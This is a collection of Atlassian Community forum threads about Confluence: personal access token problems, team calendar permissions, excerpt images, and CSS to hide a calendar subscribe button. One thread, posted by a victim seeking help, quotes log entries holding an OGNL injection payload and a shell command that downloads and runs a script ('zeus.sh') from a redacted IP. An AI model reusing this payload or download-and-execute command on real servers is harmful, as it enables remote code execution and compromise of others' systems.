{ "author": "Ganesh Suriyanarayanan", "title": "How to view questions by topics", "body": "Currently the Questions for Confluence default view is list of recently asked questions, can this be changed to get a view like topics wise?\n" }

[ { "author": "G subramanyam", "body": "Hi [@Ganesh Suriyanarayanan](/t5/user/viewprofilepage/user-id/5169158) welcome to the Atlassian community.\n\nOn the banner section of this community portal, click on \"Products\" \\>\\> select \"Confluence\" \\>\\> on the landing page, you will find filters per date, per questions, per articles. Choose a filter of your choice and book mark the link to easily come back later.\n", "comments": null } ]

[ "confluence" ]

{ "author": "RaviS", "title": "Curl|Wget Malware / malicious files download attempt by confluence local instance", "body": "Confluence instance installed on our internal server trying to run below commands , these were flagged by our security scan . Reported as malware / malicious files from the command line. Need help to fix the problem and not allow to run any commands to avoid security violation.\n\nbash -c cd /tmp;wget http://\\<ipadddress\\>/zeus.sh -O zeus.sh;curl -O http:// \\<ipadddress\\> /zeus.sh;chmod 777 zeus.sh;./zeus.sh\n\nwget http:// \\<ipadddress\\> /zeus.sh -O zeus.sh\n" }

[ { "author": "Nic Brough -Adaptavist-", "body": "Welcome to the Atlassian Community!\n\nConfluence does not have the ability to do that. You'll need to identify what you have added to or configured in Confluence that might be trying to do it.\n", "comments": [ { "author": "RaviS", "body": "Good morning Nic,\n\nBased on recent logs we captured on confluence application , confluence is trying to run wget / access zeus.sh commands , please see below logs for reference .\n\nCan you please guide how to fix this problem. Our security team suggested to stop application till we find a remediation as these commands trying to access external sites and we use our application internally.\n\nfound logs related below wget command mentioned below. \nAttributes \n-------------------------- \njavax.servlet.forward.request_uri: /confluence/pages/createpage-entervariables.action \njavax.servlet.forward.context_path: /confluence \njavax.servlet.forward.servlet_path: /pages/createpage-entervariables.action \njavax.servlet.forward.mapping: org.apache.catalina.core.ApplicationMapping$MappingImpl@7e723cff \njavax.servlet.error.status_code: 500 \ncom.atlassian.confluence.impl.profiling.DecoratorTimings: com.atlassian.confluence.impl.profiling.DecoratorTimings@67173194 \ncom.opensymphony.sitemesh.APPLIED_ONCE: true \n__cleanup_recursion_counter: 0 \ncom.atlassian.confluence.util.message.MessagesDecoratorFilter__already_filtered__: true \ncom.atlassian.confluence.web.filter.validateparam.RequestParamValidationFilter_already_filtered: true \natlassian.core.seraph.original.url: /500page.jsp \ncom.atlassian.labs.botkiller.BotKillerFilter: true \ncom.atlassian.gzipfilter.GzipFilter_already_filtered: true \nConfluence-Request-Time: 1680287306831 \ncom.atlassian.confluence.web.ConfluenceJohnsonFilter_already_filtered: true \norg.apache.tomcat.util.net.secure_protocol_version: TLSv1.2 \njavax.servlet.request.key_size: 256 \nwebwork.valueStack: com.opensymphony.xwork.util.OgnlValueStack@6076f7cd \nconfluence.themecontext: com.atlassian.confluence.themes.ThemeContext@271bc372 \njavax.servlet.error.message: \njavax.servlet.error.servlet_name: action \njavax.servlet.request.cipher_suite: ECDHE-RSA-AES256-GCM-SHA384 \njavax.servlet.request.ssl_session_id: 85df84c86d0837a790a3acaf81fc6d8a98928ebd6b94d06929bd679ff3c6688c \ncom.opensymphony.sitemesh.USINGSTREAM: false \nB3-TraceId: ea8638ed64ed1c \nloginfilter.already.filtered: true \njavax.servlet.jsp.jspException: java.lang.IllegalArgumentException: Space key is required \njavax.servlet.error.request_uri: /confluence/pages/createpage-entervariables.action \ncom.atlassian.core.filters.HeaderSanitisingFilter_already_filtered: true \ncom.atlassian.prettyurls.filter.PrettyUrlsSiteMeshFixupFilter: true \njavax.servlet.error.exception: java.lang.IllegalArgumentException: Space key is required \nos_securityfilter_already_filtered: true \ncom.atlassian.prettyurls.filter.PrettyUrlsSiteMeshFilter: true \n-------------------------- \nParameters \n-------------------------- \nqueryString : aaaaaaaa\\\\u0027+{Class.forName(\\\\u0027javax.script.ScriptEngineManager\\\\u0027).newInstance().getEngineByName(\\\\u0027JavaScript\\\\u0027).\\\\u0065val(\\\\u0027var isWin = java.lang.System.getProperty(\\\\u0022os.name\\\\u0022).toLowerCase().contains(\\\\u0022win\\\\u0022); var cmd = new java.lang.String(\\\\u0022cd /tmp;wget http://ipaddress/zeus.sh -O zeus.sh;curl -O http://ipaddress/zeus.sh;chmod 777 zeus.sh;./zeus.sh\\\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\\\u0022cmd.exe\\\\u0022, \\\\u0022/c\\\\u0022, cmd); } else{p.command(\\\\u0022bash\\\\u0022, \\\\u0022-c\\\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\\\u0022\\\\u0022; var output = \\\\u0022\\\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\\\u0027)}+\\\\u0027 \ncaused by: java.lang.IllegalArgumentException: Space key is required \nat org.springframework.util.Assert.isTrue(Assert.java:118)\n" } ] } ]

[ "server" ]

{ "author": "Joachim Schneider", "title": "Personal Access Token in Confluence - Not working even when following the Developer Documentation", "body": "Dear All, \nI created a Personal Access Token for my regular user, not Admin. Copied the Token and tried connecting via curl as described on the page \"Using Personal Access Token\" in the documenation: \n\n curl -H \"Authorization: Bearer <yourToken>\" https://{baseUrlOfYourInstance}/rest/api/space?limit=10\n\nThis results in a 200 OK but without any data as follows:\n\n```\n{\"results\":[],\"start\":0,\"limit\":10,\"size\":0,\"_links\":{\"self\":\"https://{baseUrlOfYourInstance}/rest/api/space\",\"base\":\"https://{baseUrlOfYourInstance}\",\"context\":\"\"}}\n```\n\nTried it in Python: same result.\n\nIf I however log into Confluence in my browser and issue the rest api request, I get the results as expected - in this case a JSON listing of the first 10 spaces accessible for my user. I would like to avoid logging in with credentials from the commandline.\n\nWhat am I doing wrong? Running Confluence 7.16.5 Self Hosted\n" }

[ { "author": "Oday Rafeh", "body": "Hi [@Joachim Schneider](/t5/user/viewprofilepage/user-id/5182559) ,\n\nIt looks like your API request is working correctly, as you're receiving a 200 OK status code. However, you're not getting any data in the response. This might be due to permission settings for your Personal Access Token (PAT).\n", "comments": [ { "author": "Joachim Schneider", "body": "Thanks for the insight. I am wondering where I would set permission for the PAT. As far as I understand from the documentation, the PAT should have the same permission as my user. When creating a PAT I cannot select any permissions, just create one. Also it seems that Confluence is unaware of the fact that I did use my PAT. I just discovered that in my settings dialog it says: \"Last authenticated: Never\" in regard to this PAT. So apparently curl -H \"Authorization: Bearer \\<yourToken\\>\" did not go through, which would explain the API answering 200 OK but with no data, as it did not authorize.\n\n![2023-03-29 PAT never used - how.png](https://community.atlassian.com/t5/image/serverpage/image-id/248408iE56E61AAD4CDB6E0/image-size/large?v=v2&px=999 \"2023-03-29 PAT never used - how.png\")\n" }, { "author": "Oday Rafeh", "body": "Hi [@Joachim Schneider](/t5/user/viewprofilepage/user-id/5182559)\n\nit seems that Confluence is not recognizing the use of the PAT, as indicated by the \"Last authenticated: Never\" message in your settings.\n\nOne potential issue could be with the format of your PAT in the API request. Make sure that you're replacing \"\\<yourToken\\>\" with the actual token you generated, without any brackets or other characters. Also, check that you're using the correct endpoint URL for your Confluence instance.\n\nAnd one thing more as I can see in your request\n\n```\ncurl -H \"Authorization: Bearer <yourToken>\" https: //{baseUrlOfYourInstance}/rest/api/space? limit=10\n```\n\nYou may try to use Basic in place of Bearer like this way :\n\n```\nCurl -X -H \"Authorization: Basic [base64_encoded_credentials]\" \\ -H \"Content-Type: application/json\" \\ \"https: //{baseUrlOfYourInstance}/rest/api/space? limit=10\n```\n\n\\[base64_encoded_credentials\\] Here You need to encode your token + your email address\n" }, { "author": "Joachim Schneider", "body": "Thanks a lot. I tried the approach with 'Authorization: Basic' even though the documentation clearly states \"For the PAT authentication, you should only replace '*\\<yourToken\\>* ' with the actual PAT. The \"Bearer\" part should not be changed, nor should you need to inform which user is making the request\". I got the expected 404 result. For the \"Authorization: Basic\".\n\nI did enter the Token correctly without any brackets ( no \\<\\> either) as displayed in my personal settings.\n\nI also checked the endpoint in the Browser. When I log in via the Browser and type the URL as in the cURL command, I do get the first 10 Spaces visible for my user as a JSON object as expected.\n" } ] }, { "author": "Joachim Schneider", "body": "I created a PAT within Confluence and try to connect and authorize my script with it.\n\nI get a 404 and \"authorized\":false on the CLI, but the URL works perfectly in the browser, giving me the expected result. I am wondering if a correct answer would include {\"authorized\":true instead of false. What am I doing wrong? I do follow the developer documentation. Confluence Version is 7.16.5\n\nMy code:\n\nimport requests \ntoken = \"YayToken\" \nmyHeaders = { \n\"Accept\" : \"application/json\", \n\"Authorization\" : \"Bearer \" + token \n} \nconfURL = \"<https://organizationalURL>\" \nresponse = requests.get(confURL + \"/rest/api/content/123456789\", headers=myHeaders, verify=False) \nprint(f\"Status Code: {response.status_code}\") \nprint(response.content) \nresponse.close()\n\nI get a\n\nb'{\"statusCode\":404,\"data\":{\"authorized\":false,\"valid\":true,\"allowedInReadOnlyMode\":true,\"errors\":\\[\\],\"successful\":false},\"message\":\"No content found with id: ContentId{id=123456789}\",\"reason\":\"Not Found\"}'\n\nIn the browser however I get the correct content. Anyone?\n", "comments": [ { "author": "Paul Woods", "body": "Did you get anywhere with this Joachim? I'm facing the same issue - I have a customer about to switch off basic auth for apps in confluence data center, and there doesn't seem to be any way to fetch data using personal access tokens.\n" }, { "author": "Joachim Schneider", "body": "Dear Paul, unfortunately not. I had no time to follow up on the issue but all testing went in a direction that it just does not do, what it's advertised to do. When entering an API query in my browser, while logged in, everything works fine, so logging in with password, keeping the cookies and providing the cookies for subsequent API calls via curl will work, but that's exactly what I cannot roll out in LIVE as it will require the users passwords be stored in other places, which is unacceptable. That's where PAT would really come in handy, if they'd do, what they are supposed to do. But until now authorization: false is the answer.\n\nI will try to setup a testsystem and probably have a look at the code in the next few weeks and post the results here.\n\nSorry I have no solution yet.\n" }, { "author": "Ken McClean", "body": "FYI I just tried it with Joachim's code, and it worked fine for me: \n\nimport requests \ntoken = \"\\<token\\>\" \nmyHeaders = { \n\"Accept\" : \"application/json\", \n\"Authorization\" : \"Bearer \" + token \n} \nconfURL = \"\\<url\\>\" \nresponse = requests.get(confURL + \"/rest/api/content/12320783\", headers=myHeaders, verify=False) \nprint(f\"Status Code: {response.status_code}\") \nprint(response.content) \nresponse.close() \n\n<br />\n\nPlease keep in mind that the token doesn't need to be base-64 encoded or combined with the username, unlike with Basic authentication. \n" }, { "author": "Levy, Jerry", "body": "Well, I'm hitting it too, with curl (content ID obfuscated, but it is confirmed correct via a browser session): \n\ncurl -H \"Authorization: Bearer \\<obfuscated\\>\" -H 'Content-Type: application/json' <https://my-server/rest/api/content/9999999999> \\| python -mjson.tool\n\nreturns: \n\n{ \n\"data\": { \n\"allowedInReadOnlyMode\": true, \n\"authorized\": false, \n\"errors\": \\[\\], \n\"successful\": false, \n\"valid\": true \n}, \n\"message\": \"No content found with id: ContentId{id=9999999999}\", \n\"reason\": \"Not Found\", \n\"statusCode\": 404 \n} \n\nYet it does not fail with this query (same token), although it doesn't return anything of use: \n\ncurl -H \"Authorization: Bearer \\<obfuscated\\>\" -H 'Content-Type: application/json' <https://my-server/rest/api/space?limit=10> \\| python -mjson.tool \n% Total % Received % Xferd Average Speed Time Time Time Current \nDload Upload Total Spent Left Speed \n100 171 0 171 0 0 1526 0 --:--:-- --:--:-- --:--:-- 1526 \n{ \n\"_links\": { \n\"base\": \"<https://my-server>\", \n\"context\": \"\", \n\"self\": \"<https://my-server/rest/api/space>\" \n}, \n\"limit\": 10, \n\"results\": \\[\\], \n\"size\": 0, \n\"start\": 0 \n} \n\nAny good way to troubleshoot why the \"authorized\" is false? Other ideas? \n\nThanks...\n" }, { "author": "Levy, Jerry", "body": "Well, I ginned up a different PAT and it worked. Damned if I know: retried the old one, same length as the new one, double-checked that it wasn't a copy-and-paste error, but the new one is fine and the old one isn't, \nMoral of the story: if one PAT doesn't work, try another one...\n" } ] } ]

[ "confluence-server", "server" ]

{ "author": "???/??/H&A??????????(nayeon.kwon@lge.com)", "title": "???? ?? ??", "body": "[https://clmissue.lge.com/csso/?os_destination=%2Fbrowse%2FREQEMP\\&permissionViolation=true](https://clmissue.lge.com/csso/?os_destination=%2Fbrowse%2FREQEMP&permissionViolation=true)\n\n?? ??? ?? ?? ??\n" }

[ { "author": "Andy Gladstone", "body": "[???/??/H\\&A??????????(nayeon.kwon@lge.com)](/t5/user/viewprofilepage/user-id/5176443) Atlassian ????? ?? ?? ?????!\n\n???? ????? Atlassian ??????? URL? Atlassian? ??? ?? ? ????.\n", "comments": null } ]

[ "cloud" ]

{ "author": "Alessandra Cristina da Silva Moraes", "title": "There is the possibility to include a Jira Service Management report on a page", "body": "I need to incluide a Jira Management report on page create on Confluence.\n" }

[ { "author": "Brant Schroeder", "body": "[@Alessandra Cristina da Silva Moraes](/t5/user/viewprofilepage/user-id/5174826) Welcome to the Atlassian community\n\nThere currently is not any way to include JSM reports in Confluence. You can use the Jira issue Marco to create some reports but they will not be the same as JSM reports. <https://confluence.atlassian.com/doc/jira-issues-macro-139380.html>\n", "comments": null } ]

{ "author": "Karen Phillips", "title": "How to export a decision report in Confluence to excel?", "body": "Is there a way to export a decision report table, that pulls from sub-pages, into Excel? I only see an option for pdf and Word.\n" }

[ { "author": "Katerina Rudkovskaya [Stiltsoft]", "body": "Hi [@Karen Phillips](/t5/user/viewprofilepage/user-id/1185619), \n\nIf you have the [Table Filter and Charts for Confluence](https://marketplace.atlassian.com/apps/27447/table-filter-and-charts-for-confluence?tab=overview&hosting=cloud) app installed (this add-on is developed by our company), you may use the following workaround: wrap the Decision Report macro in the [Table Filter](https://docs.stiltsoft.com/tfac/cloud/how-to-use-table-filter-macro-42239756.html?utm_source=atl_community&utm_medium=answer&utm_campaign=table-filter-traffic-sources&utm_vendorID=1216111) macro and use the latter to export your decisions in csv format. \nHope it helps.\n", "comments": null }, { "author": "Andy Gladstone", "body": "[@Karen Phillips](/t5/user/viewprofilepage/user-id/4411163) the only two native export options are Word and PDF. You would need to export to Word and then copy the table into Excel if you need it in that format. Since the exports were built for the sake of documentation, the standard documentation platforms are the only targets.\n\nSorry its not the answer you were looking for!\n", "comments": [ { "author": "Andy Gladstone", "body": "[@Karen Phillips](/t5/user/viewprofilepage/user-id/4411163) if my answer helped you, please consider marking the answer as accepted.\n" } ] } ]

[ "cloud", "filter", "table", "table-filter", "table-filter-and-charts" ]

{ "author": "Chantal Saylor", "title": "Our images are not showing up if they are part of an excerpt.", "body": "Hi, We have small images like icons embedded in our technical documentation that include experts to these images yet they don't always load or they don't load on the client side. Please help.\n\nthank you\n" }

[ { "author": "Owen Wallis", "body": "Thanks for raising. This appears to be when using the page excerpt macro. I'll raise with Confluence\n", "comments": [ { "author": "Chantal Saylor", "body": "Hi Owen,\n\nThanks, do you know how long this will take and if there is a workaround?\n" }, { "author": "Owen Wallis", "body": "Hi, the team said a fix has been deployed - is it working for you now?\n" }, { "author": "Jordan Pesout", "body": "I have the same issue, working on Jira cloud and confluence, but I still have the same issue.\n\nIt shows up like\n\n\\\\uD83E\\\\uDD14 {#toc-hId--466899268}\n------------------------------------\n\nor not showing up at all\n" }, { "author": "Owen Wallis", "body": "Hi [@Jordan Pesout](/t5/user/viewprofilepage/user-id/2274416) which product is showing this error?\n" }, { "author": "Jordan Pesout", "body": "Hi Owen, this issue was with confluence.\n\nI've found where the issue was. It had to do with copy/paste from one page to another. If you copy/pate the icons, I was getting the above format string.\n\nI've added the icons in manually and then it seems to work.\n" }, { "author": "Sarah Stolberger", "body": "Hi Owen,\n\nI also have this issue, that the \"include expert\" shows an error for the pictures included in the page. Do you know how to solve it?\n" } ] }, { "author": "Brant Schroeder", "body": "[@Chantal Saylor](/t5/user/viewprofilepage/user-id/5178225) Welcome to the Atlassian community\n\nWhere are the images originally stored? Are you able to consistently see them on the excerpt and the page where the excerpt is coming from? Does this impact all users or just some users? If you have them on a page that the individual looking at the excerpt is not able to see that could be why they are not loading.\n", "comments": null } ]

[ "cloud" ]

{ "author": "anu.alex", "title": "How do I delete questions and topics in Questions App in Confluence", "body": "How do I delete questions and topics in Questions App in Confluence\n" }

[ { "author": "Andy Gladstone", "body": "[@anu.alex](/t5/user/viewprofilepage/user-id/5155854) Welcome to the Atlassian Community.\n\nYou can find all of the documentation regarding setting up, customizing and editing Questions for Confluence here: <https://support.atlassian.com/confluence-cloud/docs/use-questions-for-confluence/>\n\nI hope this helps.\n", "comments": [ { "author": "Andy Gladstone", "body": "[@anu.alex](/t5/user/viewprofilepage/user-id/5155854) was my post able to assist you? Please let me know by marking this question as Accept Answer.\n" } ] } ]

[ "cloud", "confluence", "label" ]

{ "author": "Siti Khatijah", "title": "Is there another way to allow submission of questions without using the Question Macro?", "body": "I do not have the questions macro available and also \"Ask a Question\" option does not appear at the Template dropdown.\n\nIs there another way i can allow submission of questions as I would like to create a FAQ page.\n" }

[ { "author": "Andy Gladstone", "body": "[@Siti Khatijah](/t5/user/viewprofilepage/user-id/5145067) welcome to the Atlassian Community.\n\nDo you have the Marketplace Application Questions for Confluence installed, or are you trying to replicate its features without it? Can you provide more detail for your question so we can assist?\n", "comments": [ { "author": "Andy Gladstone", "body": "[@Siti Khatijah](/t5/user/viewprofilepage/user-id/5145067) checking in to see if you still need assistance.\n" } ] } ]

[ "server" ]

{ "author": "Lana Gabriel", "title": "Is it possible to create a community for our users?", "body": "We currently use Tribe as a community page for our users to ask questions about our product but since we're using Confluence and Jira already, we'd love to host the community within Atlassian. Is that possible? I know you have your own community functionality but can't find anything about us hosting a group or the rules/way to do so.\n" }

[ { "author": "Nic Brough -Adaptavist-", "body": "Welcome to the Atlassian Community!\n\nThe software running this site is built for communities, much like Tribe is, albeit Atlassian have coded a bit for it as well. The previous incarnation was actually Atlassian's Confluence with \"Questions for Confluence\" installed on it!\n\nGiven that, I'd say the answer to your question is \"yes, with apps\". I don't think Confluence is good as a community forum or Q\\&A platform on its own, but if you add [Questions for Confluence](https://marketplace.atlassian.com/apps/1211644/questions-for-confluence?tab=overview&hosting=cloud) to it, or one of the [forum apps](https://marketplace.atlassian.com/search?query=forum), then it can do an excellent job.\n\nBlatant advert bit - we've got two clients who make a lot of use of the Adaptavist forum app to extract and convert questions asked in the fora into knowledge base articles for their helpdesk. And more who do the same with Questions for Confluence. Forums and questions are a great place to generate help!\n", "comments": [ { "author": "Lana Gabriel", "body": "Thank you for your response Nic! I peaked at Adaptavist and the Questions for Confluence.\n" } ] }, { "author": "G subramanyam", "body": "Hi [@Lana Gabriel](/t5/user/viewprofilepage/user-id/5008687) welcome to the Atlassian community.\n\nI'm lopping [Monique vdB](https://community.atlassian.com/t5/user/viewprofilepage/user-id/786286) for better assistance to your query.\n", "comments": null } ]

{ "author": "Valerie Wilson", "title": "When will Questions for Confluence Data Center be available for upgrade?", "body": "We want to upgrade Questions for Confluence Data Center but there has been a security breach and they're not allowing it to be upgraded. How will we know when the security issues have been fixed?\n" }

[ { "author": "Andy Gladstone", "body": "[@Valerie Wilson](/t5/user/viewprofilepage/user-id/5029961) Welcome to the Atlassian Community.\n\nThe [Security Advisory](https://confluence.atlassian.com/doc/questions-for-confluence-security-advisory-2022-07-20-1142446709.html) has details on what versions the app can be updated to that are considered stable and do not contain the vulnerability.\n\nGeneral instructions on how to update apps can be found here:\n\n<https://confluence.atlassian.com/upm/updating-apps-273875710.html>\n", "comments": [ { "author": "Valerie Wilson", "body": "Thank you for your answer. We just want to upgrade the number of users from 2000 to 3000 but Atlassian says we can't do that because of the recent security breach. Should I just check the Security Advisor to see when the issue has been fixed?\n" }, { "author": "Andy Gladstone", "body": "[@Valerie Wilson](/t5/user/viewprofilepage/user-id/5029961) you should watch the issue in JAC, this way you will receive updates when changes roll out.\n\n<https://jira.atlassian.com/browse/CONFSERVER-79483>\n" }, { "author": "Valerie Wilson", "body": "That's great, thank you so much, Andy!\n" } ] } ]

[ "cloud", "confluence", "confluence-server", "server" ]

{ "author": "Harumi Kura", "title": "No access right to Team Calendar", "body": "Hello,\n\nMy Manager tried to share her calendar with her three team members. However, none of the three can gain access to it.\n\nWe all receive the below message despite she created the team and approved our access rights.\n\nCould you kindly help on this pls?\n\nThank you in advance,\n\nHarumi\n\n<https://wiki.inbcu.com/display/USJ/Team+Work+Calendar>![????????? 2024-04-08 15.00.15.png](/t5/image/serverpage/image-id/316876iF63692BA3782556E/image-size/large?v=v2&px=999 \"????????? 2024-04-08 15.00.15.png\")\n" }

[ { "author": "Harumi Kura", "body": "Thank you, Zoey, for your response.\n\nI am referring to Confluence and attach the screenshot for your ref.\n\nThank you in advance,\n\nHarumi\n", "comments": [ { "author": "Harumi Kura", "body": "![????????? 2024-04-09 9.21.40.png](https://community.atlassian.com/t5/image/serverpage/image-id/317105iA610230AECF8C33E/image-size/large?v=v2&px=999 \"????????? 2024-04-09 9.21.40.png\")\n" }, { "author": "Zoey Wang", "body": "Hi [@Harumi Kura](/t5/user/viewprofilepage/user-id/5471143)\n\nAlso this post will be moved to the appropriate product group:\n\nTeam Calendars for Confluence. If any questions you may have please call out.\n" } ] }, { "author": "Zoey Wang", "body": "Hi [@Harumi Kura](/t5/user/viewprofilepage/user-id/5471143)\n\nTo my knowledge, there is no such feature or functionality within [Atlassian Access](https://www.atlassian.com/software/access). Can you doublecheck which Atlassian product you are referring to (e.g. Confluence)or it is a third-party app installed?\n", "comments": [ { "author": "Zoey Wang", "body": "Hi [@Harumi Kura](/t5/user/viewprofilepage/user-id/5471143)\n\nThanks for the image. I can see you are referring to Confluence Data Center.\n\nPlease forward this [support document](https://confluence.atlassian.com/conf85/restrict-a-calendar-1283360604.html) to the person who shared the link and he or she needs to modify the view permission to the calendar for the rest of you.\n> Only the people listed under **These people can view this calendar** in the restrictions dialog, and the calendar's creator, will be able to see the calendar. Remember, people also need [view permissions](https://confluence.atlassian.com/doc/space-permissions-overview-139521.html) for the space associated with this calendar to be able to see the calendar.\n" }, { "author": "Harumi Kura", "body": "Thank you, Zoey.\n\nIf I understand you correctly, does she need to provide a permission not only sharing a page with us but also to provide the view permissions?\n\nThank you in advance,\n\nHarumi\n" }, { "author": "Zoey Wang", "body": "Hi [@Harumi Kura](/t5/user/viewprofilepage/user-id/5471143)\n\nThat is correct.\n" }, { "author": "Harumi Kura", "body": "Thank you. I shall speak to her.\n\nKeep my fingers crossed\n" }, { "author": "Harumi Kura", "body": "Hello [@Zoey Wang](/t5/user/viewprofilepage/user-id/4512393) ,\n\nShe said she did share not only a page us but also authorising view permissions wiht us.\n\nDo you know any other way to rectify the issue?\n\nThank you in advance,\n\nHarumi\n" }, { "author": "Zoey Wang", "body": "Hi [@Harumi Kura](/t5/user/viewprofilepage/user-id/5471143)\n\nFollowing on the [link](https://confluence.atlassian.com/conf85/restrict-a-calendar-1283360604.html) shared with you, has she confirmed at least the two points mentioned in the file?\n\n![Screenshot at Apr 12 09-52-06.png](https://community.atlassian.com/t5/image/serverpage/image-id/317851iF03489DDA4280D89/image-size/large?v=v2&px=999 \"Screenshot at Apr 12 09-52-06.png\")\n" }, { "author": "Harumi Kura", "body": "[@Zoey Wang](/t5/user/viewprofilepage/user-id/4512393) Hello! How are you?\n\nThank you for your assistance to sort it out.\n\nMy boss says she cannot find the directly above screenshot you shared with me.\n\nWhat she sees is as attached. Could you kindly help her out pls?\n\nThank you in advance,\n\nHarumi![image.png](https://community.atlassian.com/t5/image/serverpage/image-id/318257i7E5075F49896B9AC/image-size/large?v=v2&px=999 \"image.png\")\n" }, { "author": "Zoey Wang", "body": "Hi [@Harumi Kura](/t5/user/viewprofilepage/user-id/5471143)\n\nThanks for the screenshot but in this case please Go to **Calendars** in the Confluence space sidebar.\n\nYour boss should be able to see the three dots next to the calendar's name. Click on the three dots, she will see **Restrictions**as shown\n\n![Screenshot at Apr 15 19-57-18.png](https://community.atlassian.com/t5/image/serverpage/image-id/318261i00D2277E5B8A3070/image-size/large?v=v2&px=999 \"Screenshot at Apr 15 19-57-18.png\")\n\nThen the view I shared earlier will be present. In your case, the list of users who can view the calendar is straightforward enough to be managed.\n\nHere is the file link to the steps being mentioned\n\n<https://confluence.atlassian.com/conf85/restrict-a-calendar-1283360604.html>\n" }, { "author": "Harumi Kura", "body": "[@Zoey Wang](/t5/user/viewprofilepage/user-id/4512393) thank you! The problem got sorted out!\n" }, { "author": "Zoey Wang", "body": "Hi [@Harumi Kura](/t5/user/viewprofilepage/user-id/5471143)\n\nAwesome! If you would like please accept the solution to this question, so other users with similar issues can easily find a way to deal with it. Thanks\n" }, { "author": "Harumi Kura", "body": "[@Zoey Wang](/t5/user/viewprofilepage/user-id/4512393) I did make it the accepted solution. I then noted the screenshot from our Co is demonstrated.. So I released the accepted solution..\n\nApologies for the inconvenience caused,\n\nHarumi\n" } ] } ]

[ "confluence", "data-center" ]

{ "author": "Angela L_", "title": "Import specific events from Outlook calendar", "body": "We're on Confluence Data Center 8.5. I want to be able to select which events on my Outlook calendar get imported to my Teams calendar. Is there a way to do this?\n\nAll I've been able to do so far is import the entire Outlook calendar (which I don't want---too many irrelevant events), or manually create duplicates of the individual, relevant Outlook events in the Teams calendar (which I also don't want---duplication of effort).\n" }

[ { "author": "Britta Neugebauer _yasoon_", "body": "Hi there [@Angela L_](/t5/user/viewprofilepage/user-id/3738435) ,\n\nAs far as I know, you could only do this with a third party app.\n\nI work for yasoon and we're developing an app called Outlook Calendars for Confluence. The app enables a real-time integration of Outlook calendars in Confluence, no sync needed.\n\nFor your use case, you could work with filters to only show specific events in your Confluence calendar: [Outlook Calendars for Confluence \\| Atlassian Marketplace](https://marketplace.atlassian.com/apps/1217554/outlook-calendars-for-confluence?tab=overview&hosting=datacenter). The app is available for Data Center and you can [book a demo here](https://outlook.office365.com/owa/calendar/Andreasyasoon@yasoon.com/bookings/).\n\nOf course, you can check out the other third party apps here: [Confluence Calendar apps \\| Atlassian Marketplace](https://marketplace.atlassian.com/search?product=confluence&query=calendar)\n\nBest,\n\nBritta\n", "comments": [ { "author": "Angela L_", "body": "Thank you for the reply! Unfortunately, I'm not able to pay $3,500 per year on top of the $$$$ we're already spending on Confluence just to get this feature.\n\nFor anyone else looking for a solution that you don't have to pay extra for, what I ended up doing was creating an entirely separate Outlook calendar that has only the specific events I want, and then [subscribing the Confluence calendar to that Outlook calendar by URL](https://confluence.atlassian.com/doc/subscribe-to-outlook-calendar-from-team-calendars-1044780495.html). It works fine, and the little effort it took to move all of the needed events from the original Outlook calendar to the new one was well worth it to save thousands of dollars.\n" }, { "author": "Britta Neugebauer _yasoon_", "body": "Hi [@Angela L_](/t5/user/viewprofilepage/user-id/3738435) , sounds like you found a good solution for your use case. I understand that this single feature was not a reason for you to get a paid app.\n" } ] } ]

[ "server", "team-calendars-confluence", "team-calendars-for-confluence-server" ]

{ "author": "Nina Laukkanen", "title": "Confluence calendar has no restrictions but people cannot edit", "body": "Hi,\n\nI created for my project team a team calendar that does not have any restriction what so ever, but there are some team member who get this error message: \"Method not allowed\" when they try to add a Event on the calendar. So any idea what might be the reason that some persons can edit and add new event some not.\n" }

[ { "author": "Irina Zagarina", "body": "The same with us\n", "comments": null } ]

[ "cloud" ]

{ "author": "Lena", "title": "Disable subscription option in Team Calendars", "body": "Hi all,\n\nWe would like to deactivate the whole \"subscribe\" option in Team Calendars globally for our company. \nIs this possible and if so, how can we deactivate the function?\n\nThanks a lot!\n\nLena\n" }

[ { "author": "Kseniia Trushnikova", "body": "Hey [@Lena](/t5/user/viewprofilepage/user-id/4639552),\n\nYou can hide this **Subscribe** option from calendar menu using CSS:\n\n![Screenshot 2024-01-08 at 19.43.01.png](https://community.atlassian.com/t5/image/serverpage/image-id/299435iB01DF8FF56B14AAB/image-dimensions/196x284?v=v2 \"Screenshot 2024-01-08 at 19.43.01.png\")\n\nGo to **Confluence Admin \\> Custom HTML** and insert the code in the \"At end of the HEAD\" textbox:\n\n```\n<style type=\"text/css\">\nli:has(> .subcalendar-subscribe) {\ndisplay: none;\n}\n</style>\n```\n", "comments": [ { "author": "Lena", "body": "Thank you for your quick response [@Kseniia Trushnikova](/t5/user/viewprofilepage/user-id/4593830)! We tried the way you suggested but it didn't work. The subscribe option is still visible. Are there any other ways? (We have Confluence Data Center 7.19.17\n" }, { "author": "Kseniia Trushnikova", "body": "[@Lena](/t5/user/viewprofilepage/user-id/4639552), oh sorry. I tested this CSS on our Confluence Server 8.5.x... Looks like the class for the Subscribe option might be named different in older Confluence versions.\n\nYou can find the class by right-clicking the Subscribe option and select *Inspect* . If the class is different, replace it in the code I sent you earlier:\n\n![Screenshot 2024-01-16 at 11.11.43.png](https://community.atlassian.com/t5/image/serverpage/image-id/300689iF9C8E8F3B28B1EA7/image-size/large?v=v2&px=999 \"Screenshot 2024-01-16 at 11.11.43.png\")\n\nYou can also try this:\n\n```\n<style type=\"text/css\">\nli:has(> .subcalendar-subscribe) {\ndisplay: none !important;\n}\n</style>\n```\n\nOR\n\n```\n<style type=\"text/css\">\n.subcalendar-subscribe {\ndisplay: none !important;\n}\n</style>\n```\n" }, { "author": "Lars", "body": "Hi [@Kseniia Trushnikova](/t5/user/viewprofilepage/user-id/4593830) ,\n\nthere is also a button to subribe a calendar left from \"Add event\" button. How we can hide this subscribe-button too?\n\nKind regards\n\nLars\n" }, { "author": "Kseniia Trushnikova", "body": "Hello [@Lars](/t5/user/viewprofilepage/user-id/5469046),\n\nThis CSS will hide the Subscribe button:\n\n```\n<style type=\"text/css\">\n.subscribe-calendar-button {\ndisplay: none !important;\n}\n</style>\n```\n" }, { "author": "Admin _RKI", "body": "Thanks a lot! It works fine. I combine it with the CSS change above.\n" } ] } ]

[ "css", "hide", "server", "style" ]

